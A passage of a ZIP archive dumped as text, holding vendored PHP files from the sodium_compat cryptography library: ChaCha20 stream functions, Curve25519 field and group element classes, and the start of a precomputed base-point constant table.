                $message .= str_repeat("\x00", 64 - $bytes);
            }

            $x0 =  clone $j0;
            $x1 =  clone $j1;
            $x2 =  clone $j2;
            $x3 =  clone $j3;
            $x4 =  clone $j4;
            $x5 =  clone $j5;
            $x6 =  clone $j6;
            $x7 =  clone $j7;
            $x8 =  clone $j8;
            $x9 =  clone $j9;
            $x10 = clone $j10;
            $x11 = clone $j11;
            $x12 = clone $j12;
            $x13 = clone $j13;
            $x14 = clone $j14;
            $x15 = clone $j15;

            # for (i = 20; i > 0; i -= 2) {
            for ($i = 20; $i > 0; $i -= 2) {
                # QUARTERROUND( x0,  x4,  x8,  x12)
                list($x0, $x4, $x8, $x12) = self::quarterRound($x0, $x4,
$x8, $x12);

                # QUARTERROUND( x1,  x5,  x9,  x13)
                list($x1, $x5, $x9, $x13) = self::quarterRound($x1, $x5,
$x9, $x13);

                # QUARTERROUND( x2,  x6,  x10,  x14)
                list($x2, $x6, $x10, $x14) = self::quarterRound($x2, $x6,
$x10, $x14);

                # QUARTERROUND( x3,  x7,  x11,  x15)
                list($x3, $x7, $x11, $x15) = self::quarterRound($x3, $x7,
$x11, $x15);

                # QUARTERROUND( x0,  x5,  x10,  x15)
                list($x0, $x5, $x10, $x15) = self::quarterRound($x0, $x5,
$x10, $x15);

                # QUARTERROUND( x1,  x6,  x11,  x12)
                list($x1, $x6, $x11, $x12) = self::quarterRound($x1, $x6,
$x11, $x12);

                # QUARTERROUND( x2,  x7,  x8,  x13)
                list($x2, $x7, $x8, $x13) = self::quarterRound($x2, $x7,
$x8, $x13);

                # QUARTERROUND( x3,  x4,  x9,  x14)
                list($x3, $x4, $x9, $x14) = self::quarterRound($x3, $x4,
$x9, $x14);
            }
            /*
            x0 = PLUS(x0, j0);
            x1 = PLUS(x1, j1);
            x2 = PLUS(x2, j2);
            x3 = PLUS(x3, j3);
            x4 = PLUS(x4, j4);
            x5 = PLUS(x5, j5);
            x6 = PLUS(x6, j6);
            x7 = PLUS(x7, j7);
            x8 = PLUS(x8, j8);
            x9 = PLUS(x9, j9);
            x10 = PLUS(x10, j10);
            x11 = PLUS(x11, j11);
            x12 = PLUS(x12, j12);
            x13 = PLUS(x13, j13);
            x14 = PLUS(x14, j14);
            x15 = PLUS(x15, j15);
            */
            $x0 = $x0->addInt32($j0);
            $x1 = $x1->addInt32($j1);
            $x2 = $x2->addInt32($j2);
            $x3 = $x3->addInt32($j3);
            $x4 = $x4->addInt32($j4);
            $x5 = $x5->addInt32($j5);
            $x6 = $x6->addInt32($j6);
            $x7 = $x7->addInt32($j7);
            $x8 = $x8->addInt32($j8);
            $x9 = $x9->addInt32($j9);
            $x10 = $x10->addInt32($j10);
            $x11 = $x11->addInt32($j11);
            $x12 = $x12->addInt32($j12);
            $x13 = $x13->addInt32($j13);
            $x14 = $x14->addInt32($j14);
            $x15 = $x15->addInt32($j15);

            /*
            x0 = XOR(x0, LOAD32_LE(m + 0));
            x1 = XOR(x1, LOAD32_LE(m + 4));
            x2 = XOR(x2, LOAD32_LE(m + 8));
            x3 = XOR(x3, LOAD32_LE(m + 12));
            x4 = XOR(x4, LOAD32_LE(m + 16));
            x5 = XOR(x5, LOAD32_LE(m + 20));
            x6 = XOR(x6, LOAD32_LE(m + 24));
            x7 = XOR(x7, LOAD32_LE(m + 28));
            x8 = XOR(x8, LOAD32_LE(m + 32));
            x9 = XOR(x9, LOAD32_LE(m + 36));
            x10 = XOR(x10, LOAD32_LE(m + 40));
            x11 = XOR(x11, LOAD32_LE(m + 44));
            x12 = XOR(x12, LOAD32_LE(m + 48));
            x13 = XOR(x13, LOAD32_LE(m + 52));
            x14 = XOR(x14, LOAD32_LE(m + 56));
            x15 = XOR(x15, LOAD32_LE(m + 60));
            */
            $x0  = 
$x0->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
 0, 4)));
            $x1  = 
$x1->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
 4, 4)));
            $x2  = 
$x2->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
 8, 4)));
            $x3  = 
$x3->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
12, 4)));
            $x4  = 
$x4->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
16, 4)));
            $x5  = 
$x5->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
20, 4)));
            $x6  = 
$x6->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
24, 4)));
            $x7  = 
$x7->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
28, 4)));
            $x8  = 
$x8->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
32, 4)));
            $x9  = 
$x9->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
36, 4)));
            $x10 =
$x10->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
40, 4)));
            $x11 =
$x11->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
44, 4)));
            $x12 =
$x12->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
48, 4)));
            $x13 =
$x13->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
52, 4)));
            $x14 =
$x14->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
56, 4)));
            $x15 =
$x15->xorInt32(ParagonIE_Sodium_Core32_Int32::fromReverseString(self::substr($message,
60, 4)));

            /*
                j12 = PLUSONE(j12);
                if (!j12) {
                    j13 = PLUSONE(j13);
                }
             */
            /** @var ParagonIE_Sodium_Core32_Int32 $j12 */
            $j12 = $j12->addInt(1);
            if ($j12->limbs[0] === 0 && $j12->limbs[1] === 0)
{
                $j13 = $j13->addInt(1);
            }

            /*
            STORE32_LE(c + 0, x0);
            STORE32_LE(c + 4, x1);
            STORE32_LE(c + 8, x2);
            STORE32_LE(c + 12, x3);
            STORE32_LE(c + 16, x4);
            STORE32_LE(c + 20, x5);
            STORE32_LE(c + 24, x6);
            STORE32_LE(c + 28, x7);
            STORE32_LE(c + 32, x8);
            STORE32_LE(c + 36, x9);
            STORE32_LE(c + 40, x10);
            STORE32_LE(c + 44, x11);
            STORE32_LE(c + 48, x12);
            STORE32_LE(c + 52, x13);
            STORE32_LE(c + 56, x14);
            STORE32_LE(c + 60, x15);
            */

            $block = $x0->toReverseString() .
                $x1->toReverseString() .
                $x2->toReverseString() .
                $x3->toReverseString() .
                $x4->toReverseString() .
                $x5->toReverseString() .
                $x6->toReverseString() .
                $x7->toReverseString() .
                $x8->toReverseString() .
                $x9->toReverseString() .
                $x10->toReverseString() .
                $x11->toReverseString() .
                $x12->toReverseString() .
                $x13->toReverseString() .
                $x14->toReverseString() .
                $x15->toReverseString();

            /* Partial block */
            if ($bytes < 64) {
                $c .= self::substr($block, 0, $bytes);
                break;
            }

            /* Full block */
            $c .= $block;
            $bytes -= 64;
            if ($bytes <= 0) {
                break;
            }
            $message = self::substr($message, 64);
        }
        /* end for(;;) loop */

        $ctx[12] = $j12;
        $ctx[13] = $j13;
        return $c;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function stream($len = 64, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStream($len, $nonce = '', $key =
'')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce),
            str_repeat("\x00", $len)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ietfStreamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_IetfCtx($key, $nonce,
$ic),
            $message
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @param string $ic
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function streamXorIc($message, $nonce = '',
$key = '', $ic = '')
    {
        return self::encryptBytes(
            new ParagonIE_Sodium_Core32_ChaCha20_Ctx($key, $nonce, $ic),
            $message
        );
    }
}
PK	�[���WWSchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Fe.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Fe', false))
{
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Fe
 *
 * This represents a Field Element
 */
class ParagonIE_Sodium_Core32_Curve25519_Fe implements ArrayAccess
{
    /**
     * @var array<int, ParagonIE_Sodium_Core32_Int32>
     */
    protected $container = array();

    /**
     * @var int
     */
    protected $size = 10;

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, ParagonIE_Sodium_Core32_Int32> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $array[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $array[$i]->overflow = 0;
                $obj->offsetSet($i, $array[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param array<int, int> $array
     * @param bool $save_indexes
     * @return self
     * @throws SodiumException
     * @throws TypeError
     */
    public static function fromIntArray($array, $save_indexes = null)
    {
        $count = count($array);
        if ($save_indexes) {
            $keys = array_keys($array);
        } else {
            $keys = range(0, $count - 1);
        }
        $array = array_values($array);
        $set = array();
        /** @var int $i */
        /** @var int $v */
        foreach ($array as $i => $v) {
            $set[$i] = ParagonIE_Sodium_Core32_Int32::fromInt($v);
        }

        $obj = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        if ($save_indexes) {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($keys[$i], $set[$i]);
            }
        } else {
            for ($i = 0; $i < $count; ++$i) {
                $set[$i]->overflow = 0;
                $obj->offsetSet($i, $set[$i]);
            }
        }
        return $obj;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @param mixed $value
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    public function offsetSet($offset, $value)
    {
        if (!($value instanceof ParagonIE_Sodium_Core32_Int32)) {
            throw new InvalidArgumentException('Expected an instance
of ParagonIE_Sodium_Core32_Int32');
        }
        if (is_null($offset)) {
            $this->container[] = $value;
        } else {
            ParagonIE_Sodium_Core32_Util::declareScalarType($offset,
'int', 1);
            $this->container[(int) $offset] = $value;
        }
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return bool
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetExists($offset)
    {
        return isset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return void
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetUnset($offset)
    {
        unset($this->container[$offset]);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param mixed $offset
     * @return ParagonIE_Sodium_Core32_Int32
     * @psalm-suppress MixedArrayOffset
     */
    public function offsetGet($offset)
    {
        if (!isset($this->container[$offset])) {
            $this->container[(int) $offset] = new
ParagonIE_Sodium_Core32_Int32();
        }
        /** @var ParagonIE_Sodium_Core32_Int32 $get */
        $get = $this->container[$offset];
        return $get;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return array
     */
    public function __debugInfo()
    {
        if (empty($this->container)) {
            return array();
        }
        $c = array(
            (int) ($this->container[0]->toInt()),
            (int) ($this->container[1]->toInt()),
            (int) ($this->container[2]->toInt()),
            (int) ($this->container[3]->toInt()),
            (int) ($this->container[4]->toInt()),
            (int) ($this->container[5]->toInt()),
            (int) ($this->container[6]->toInt()),
            (int) ($this->container[7]->toInt()),
            (int) ($this->container[8]->toInt()),
            (int) ($this->container[9]->toInt())
        );
        return array(implode(', ', $c));
    }
}
PK	�[�}M

Zchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Cached.phpnu�[���<?php


if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Cached',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YplusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $YminusX;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Cached constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YplusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $YminusX
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $Z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $T2d
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $YplusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $YminusX = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $Z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $T2d = null
    ) {
        if ($YplusX === null) {
            $YplusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YplusX = $YplusX;
        if ($YminusX === null) {
            $YminusX = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->YminusX = $YminusX;
        if ($Z === null) {
            $Z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $Z;
        if ($T2d === null) {
            $T2d = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T2d = $T2d;
    }
}
PK	�[��~g��Xchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P1p1.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1',
false)) {
    return;
}
/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     *
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->X = $x;
        if ($y === null) {
            $y = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->T = $t;
    }
}
PK	�[ÍۤaaVchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P2.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P2',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P2
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P2 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
    }
}
PK	�[6�VV��Vchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/P3.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_P3',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_P3
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $X;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Y;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $Z;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $T;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_P3 constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $x
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $y
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $z
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe|null $t
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $x = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $y = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $z = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $t = null
    ) {
        if ($x === null) {
            $x = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->X = $x;
        if ($y === null) {
            $y = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Y = $y;
        if ($z === null) {
            $z = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->Z = $z;
        if ($t === null) {
            $t = new ParagonIE_Sodium_Core32_Curve25519_Fe();
        }
        $this->T = $t;
    }
}
PK	�[�%
���[chat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/Ge/Precomp.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp',
false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
 */
class ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
{
    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yplusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $yminusx;

    /**
     * @var ParagonIE_Sodium_Core32_Curve25519_Fe
     */
    public $xy2d;

    /**
     * ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp constructor.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d
     * @throws SodiumException
     * @throws TypeError
     */
    public function __construct(
        ParagonIE_Sodium_Core32_Curve25519_Fe $yplusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $yminusx = null,
        ParagonIE_Sodium_Core32_Curve25519_Fe $xy2d = null
    ) {
        if ($yplusx === null) {
            $yplusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yplusx = $yplusx;
        if ($yminusx === null) {
            $yminusx = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->yminusx = $yminusx;
        if ($xy2d === null) {
            $xy2d = ParagonIE_Sodium_Core32_Curve25519::fe_0();
        }
        $this->xy2d = $xy2d;
    }
}
PK	�[�������Rchat/sendMessage/pusher/vendor/paragonie/sodium_compat/src/Core32/Curve25519/H.phpnu�[���<?php

if (class_exists('ParagonIE_Sodium_Core32_Curve25519_H', false))
{
    return;
}

/**
 * Class ParagonIE_Sodium_Core32_Curve25519_H
 *
 * This just contains the constants in the ref10/base.h file
 */
class ParagonIE_Sodium_Core32_Curve25519_H extends
ParagonIE_Sodium_Core32_Util
{
    /**
     * See: libsodium's crypto_core/curve25519/ref10/base.h
     *
     * @var array<int, array<int, array<int, array<int,
int>>>> Basically, int[32][8][3][10]
     */
    protected static $base = array(
        array(
            array(
                array(25967493, -14356035, 29566456, 3660896, -12694345,
4014787, 27544626, -11754271, -6079156, 2047605),
                array(-12545711, 934262, -2722910, 3049990, -727428,
9406986, 12720692, 5043384, 19500929, -15469378),
                array(-8738181, 4489570, 9688441, -14785194, 10184609,
-12363380, 29287919, 11864899, -24514362, -4438546),
            ),
            array(
                array(-12815894, -12976347, -21581243, 11784320, -25355658,
-2750717, -11717903, -3814571, -358445, -10211303),
                array(-21703237, 6903825, 27185491, 6451973, -29577724,
-9554005, -15616551, 11189268, -26829678, -5319081),
                array(26966642, 11152617, 32442495, 15396054, 14353839,
-12752335, -3128826, -9541118, -15472047, -4166697),
            ),
            array(
                array(15636291, -9688557, 24204773, -7912398, 616977,
-16685262, 27787600, -14772189, 28944400, -1550024),
                array(16568933, 4717097, -11556148, -1102322, 15682896,
-11807043, 16354577, -11775962, 7689662, 11199574),
                array(30464156, -5976125, -11779434, -15670865, 23220365,
15915852, 7512774, 10017326, -17749093, -9920357),
            ),
            array(
                array(-17036878, 13921892, 10945806, -6033431, 27105052,
-16084379, -28926210, 15006023, 3284568, -6276540),
                array(23599295, -8306047, -11193664, -7687416, 13236774,
10506355, 7464579, 9656445, 13059162, 10374397),
                array(7798556, 16710257, 3033922, 2874086, 28997861,
2835604, 32406664, -3839045, -641708, -101325),
            ),
            array(
                array(10861363, 11473154, 27284546, 1981175, -30064349,
12577861, 32867885, 14515107, -15438304, 10819380),
                array(4708026, 6336745, 20377586, 9066809, -11272109,
6594696, -25653668, 12483688, -12668491, 5581306),
                array(19563160, 16186464, -29386857, 4097519, 10237984,
-4348115, 28542350, 13850243, -23678021, -15815942),
            ),
            array(
                array(-15371964, -12862754, 32573250, 4720197, -26436522,
5875511, -19188627, -15224819, -9818940, -12085777),
                array(-8549212, 109983, 15149363, 2178705, 22900618,
4543417, 3044240, -15689887, 1762328, 14866737),
                array(-18199695, -15951423, -10473290, 1707278, -17185920,
3916101, -28236412, 3959421, 27914454, 4383652),
            ),
            array(
                array(5153746, 9909285, 1723747, -2777874, 30523605,
5516873, 19480852, 5230134, -23952439, -15175766),
                array(-30269007, -3463509, 7665486, 10083793, 28475525,
1649722, 20654025, 16520125, 30598449, 7715701),
                array(28881845, 14381568, 9657904, 3680757, -20181635,
7843316, -31400660, 1370708, 29794553, -1409300),
            ),
            array(
                array(14499471, -2729599, -33191113, -4254652, 28494862,
14271267, 30290735, 10876454, -33154098, 2381726),
                array(-7195431, -2655363, -14730155, 462251, -27724326,
3941372, -6236617, 3696005, -32300832, 15351955),
                array(27431194, 8222322, 16448760, -3907995, -18707002,
11938355, -32961401, -2970515, 29551813, 10109425),
            ),
        ),
        array(
            array(
                array(-13657040, -13155431, -31283750, 11777098, 21447386,
6519384, -2378284, -1627556, 10092783, -4764171),
                array(27939166, 14210322, 4677035, 16277044, -22964462,
-12398139, -32508754, 12005538, -17810127, 12803510),
                array(17228999, -15661624, -1233527, 300140, -1224870,
-11714777, 30364213, -9038194, 18016357, 4397660),
            ),
            array(
                array(-10958843, -7690207, 4776341, -14954238, 27850028,
-15602212, -26619106, 14544525, -17477504, 982639),
                array(29253598, 15796703, -2863982, -9908884, 10057023,
3163536, 7332899, -4120128, -21047696, 9934963),
                array(5793303, 16271923, -24131614, -10116404, 29188560,
1206517, -14747930, 4559895, -30123922, -10897950),
            ),
            array(
                array(-27643952, -11493006, 16282657, -11036493, 28414021,
-15012264, 24191034, 4541697, -13338309, 5500568),
                array(12650548, -1497113, 9052871, 11355358, -17680037,
-8400164, -17430592, 12264343, 10874051, 13524335),
                array(25556948, -3045990, 714651, 2510400, 23394682,
-10415330, 33119038, 5080568, -22528059, 5376628),
            ),
            array(
                array(-26088264, -4011052, -17013699, -3537628, -6726793,
1920897, -22321305, -9447443, 4535768, 1569007),
                array(-2255422, 14606630, -21692440, -8039818, 28430649,
8775819, -30494562, 3044290, 31848280, 12543772),
                array(-22028579, 2943893, -31857513, 6777306, 13784462,
-4292203, -27377195, -2062731, 7718482, 14474653),
            ),
            array(
                array(2385315, 2454213, -22631320, 46603, -4437935,
-15680415, 656965, -7236665, 24316168, -5253567),
                array(13741529, 10911568, -33233417, -8603737, -20177830,
-1033297, 33040651, -13424532, -20729456, 8321686),
                array(21060490, -2212744, 15712757, -4336099, 1639040,
10656336, 23845965, -11874838, -9984458, 608372),
            ),
            array(
                array(-13672732, -15087586, -10889693, -7557059, -6036909,
11305547, 1123968, -6780577, 27229399, 23887),
                array(-23244140, -294205, -11744728, 14712571, -29465699,
-2029617, 12797024, -6440308, -1633405, 16678954),
                array(-29500620, 4770662, -16054387, 14001338, 7830047,
9564805, -1508144, -4795045, -17169265, 4904953),
            ),
            array(
                array(24059557, 14617003, 19037157, -15039908, 19766093,
-14906429, 5169211, 16191880, 2128236, -4326833),
                array(-16981152, 4124966, -8540610, -10653797, 30336522,
-14105247, -29806336, 916033, -6882542, -2986532),
                array(-22630907, 12419372, -7134229, -7473371, -16478904,
16739175, 285431, 2763829, 15736322, 4143876),
            ),
            array(
                array(2379352, 11839345, -4110402, -5988665, 11274298,
794957, 212801, -14594663, 23527084, -16458268),
                array(33431127, -11130478, -17838966, -15626900, 8909499,
8376530, -32625340, 4087881, -15188911, -14416214),
                array(1767683, 7197987, -13205226, -2022635, -13091350,
448826, 5799055, 4357868, -4774191, -16323038),
            ),
        ),
        array(
            array(
                array(6721966, 13833823, -23523388, -1551314, 26354293,
-11863321, 23365147, -3949732, 7390890, 2759800),
                array(4409041, 2052381, 23373853, 10530217, 7676779,
-12885954, 21302353, -4264057, 1244380, -12919645),
                array(-4421239, 7169619, 4982368, -2957590, 30256825,
-2777540, 14086413, 9208236, 15886429, 16489664),
            ),
            array(
                array(1996075, 10375649, 14346367, 13311202, -6874135,
-16438411, -13693198, 398369, -30606455, -712933),
                array(-25307465, 9795880, -2777414, 14878809, -33531835,
14780363, 13348553, 12076947, -30836462, 5113182),
                array(-17770784, 11797796, 31950843, 13929123, -25888302,
12288344, -30341101, -7336386, 13847711, 5387222),
            ),
            array(
                array(-18582163, -3416217, 17824843, -2340966, 22744343,
-10442611, 8763061, 3617786, -19600662, 10370991),
                array(20246567, -14369378, 22358229, -543712, 18507283,
-10413996, 14554437, -8746092, 32232924, 16763880),
                array(9648505, 10094563, 26416693, 14745928, -30374318,
-6472621, 11094161, 15689506, 3140038, -16510092),
            ),
            array(
                array(-16160072, 5472695, 31895588, 4744994, 8823515,
10365685, -27224800, 9448613, -28774454, 366295),
                array(19153450, 11523972, -11096490, -6503142, -24647631,
5420647, 28344573, 8041113, 719605, 11671788),
                array(8678025, 2694440, -6808014, 2517372, 4964326,
11152271, -15432916, -15266516, 27000813, -10195553),
            ),
            array(
                array(-15157904, 7134312, 8639287, -2814877, -7235688,
10421742, 564065, 5336097, 6750977, -14521026),
                array(11836410, -3979488, 26297894, 16080799, 23455045,
15735944, 1695823, -8819122, 8169720, 16220347),
                array(-18115838, 8653647, 17578566, -6092619, -8025777,
-16012763, -11144307, -2627664, -5990708, -14166033),
            ),
            array(
                array(-23308498, -10968312, 15213228, -10081214, -30853605,
-11050004, 27884329, 2847284, 2655861, 1738395),
                array(-27537433, -14253021, -25336301, -8002780, -9370762,
8129821, 21651608, -3239336, -19087449, -11005278),
                array(1533110, 3437855, 23735889, 459276, 29970501,
11335377, 26030092, 5821408, 10478196, 8544890),
            ),
            array(
